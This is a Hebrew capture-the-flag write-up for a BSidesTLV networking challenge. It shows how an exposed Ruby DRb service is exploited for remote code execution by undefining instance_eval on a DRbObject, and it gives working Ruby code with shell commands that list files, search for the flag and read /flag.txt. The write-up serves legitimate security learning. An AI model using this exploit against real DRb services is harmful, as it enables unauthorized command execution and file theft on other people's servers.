You "shell" not pass!
- קטגוריה: Networking
- 500 נקודות
- נפתר על ידי קבוצת JCTF
תיאור
פתרון
צורף למשימה קישור לסרטון בyoutube, שמסביר איך להשתמש בשלט רחוק של טלוויזיה.
צורף בנוסף, כתובת לnetcat
התחברתי אליו, ושלחתי סתם רצף אקראי של אותיות.
זו ההודעה שקיבלתי:
רואים כאן הודעת שגיאה: to large packet עם מספר גדול מאוד.
מחשבה שלי היא שזה כנראה איזשהו ניסיון לdeserialization. רואים גם שהשרת מריץ רובי גרסת 2.6.0, וגם שקובץ השגיאה הוא drb.rb.
חיפוש קטן באינטרנט על DRb, מעלה את הדוקומנטציה הבאה:
https://ruby-doc.org/stdlib-2.6.1/libdoc/drb/rdoc/DRb.html
בקיצור נמרץ: DRb הוא מערכת אובייקטים מבוזרת של רובי. DRb מאפשר קריאה של מתודות מתהליך אחד של רובי לתהליך אחר של רובי, אפילו בין מכונות שונות.
ליותר תובנות כדאי לקרוא את הדוקומנטציה.
כפי שרואים בדוקומנטציה, מגדירים שרת בתחילית של druby:// ומשתמשים ב
DRbObject:new_with_uri(SERVER_URI)
עוד מתוך הדוקומנטציה: יש תבליט בשם Security שטוען שיש אפשרות להשתמש ב-instance_eval
ע"י DRbObject ואפשר להריץ כל קוד בשרת.
ניסיון ראשון היה ע"י הקוד הבא:
SERVER_URI="druby://notpass.challenges.bsidestlv.com:1337"
DRb.start_service
ro = DRbObject.new_with_uri(SERVER_URI)
class \<\< ro
undef :instance_eval \# force call to be passed to remote object
end
ro.instance_eval("\`ls -l\`")
וקיבלתי את התשובה הבאה:
=\> "total 4\\n-rw-rw-rw- 1 bsidestl bsidestl 156 Jun 17 11:19 app.rb\\n"
כל מה שנשאר זה לחפש את הflag.
שינוי קטן בשורה האחרונה בקוד, יעשה את החיפוש:
ro.instance_eval("\
find / -iname flag*`")`
התוצאה הראשונה שמקבלים היא
/flag.txt
רק נשאר לעשות שינוי נוסף
ro.instance_eval("\
cat /flag.txt`")`
ומקבלים
BSidesTLV{D1stribut3dRubbyS3rv3r}